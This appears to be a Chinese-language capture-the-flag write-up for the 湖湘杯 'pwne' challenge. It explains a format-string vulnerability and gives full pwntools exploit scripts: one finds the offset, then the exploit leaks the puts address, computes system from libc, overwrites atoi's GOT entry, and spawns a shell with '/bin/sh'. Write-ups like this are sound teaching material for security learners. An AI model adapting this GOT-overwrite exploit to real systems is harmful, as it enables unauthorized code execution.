湖湘杯 pwn200(pwne) [format string]

網上隨便找一下能夠找到二進制文件和libc,這裏就不貼了~

在函數80485CD處有上圖所示的printf漏洞

checksec發現,32位程序,和hackme的echo不同的是,開了Canary和NX

所以思路還是一樣,先要泄露偏移值

#!/usr/bin/env python
# coding=utf-8

from pwn import *

context.log_level = "debug"

def find_offset(payload):
    io = process("./pwne")
    io.recvuntil("[Y/N]")
    io.sendline("Y")
    io.recvuntil("NAME:\n\n")
    io.sendline(payload)
    info = io.recv()
    io.close()
    return info

autofmt = FmtStr(find_offset)
print autofmt.offset

值是7,檢驗一下

然後,泄露出puts函數的地址,從而可以計算出system的地址

第一次格式化字符串目的:泄露函數地址(puts)-(system)

(翻一翻pwne的函數表:沒有system函數,所以要泄露)

第二次格式化字符串目的:修改函數地址(atoi)-(system)

即類似hackme的echo題(將printf函數的got地址改成system函數的plt地址),將atoi函數的got地址改成system函數的plt地址

利用之後的read函數,輸入"/bin/sh"即可,代碼如下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *

elf = ELF("./pwne")
#libc = ELF("./libc.so.6")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

io = process("./pwne")

#leak puts addr
io.recvuntil("[Y/N]\n")
io.sendline("Y")
io.recvuntil("NAME:\n\n")
io.sendline(p32(elf.got["puts"]) + "%7$s")
io.recvuntil("WELCOME \n")
puts_addr = io.recv()[4:8]
io.sendline("0xABCD")

#calc system addr
system_addr = libc.symbols["system"] - libc.symbols["puts"] + u32(puts_addr)
atoi_addr = elf.got["atoi"]

#change atoi_addr -> system_addr
io.recvuntil("[Y/N]\n")
io.sendline("Y")
io.recvuntil("NAME:\n\n")
io.sendline(fmtstr_payload(7, {atoi_addr: system_addr}))

#read()
io.recvuntil("AGE:\n\n")

#atoi("/bin/sh") -> system("/bin/sh")
io.sendline("/bin/sh\x00")
io.interactive()

發現:只能用自己機器的libc,用網上下載的libc不對(對比了一下,機器中的so文件大小爲1745KB,網上提供的爲1722KB,可能是puts和system的偏移不同了導致錯誤)

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章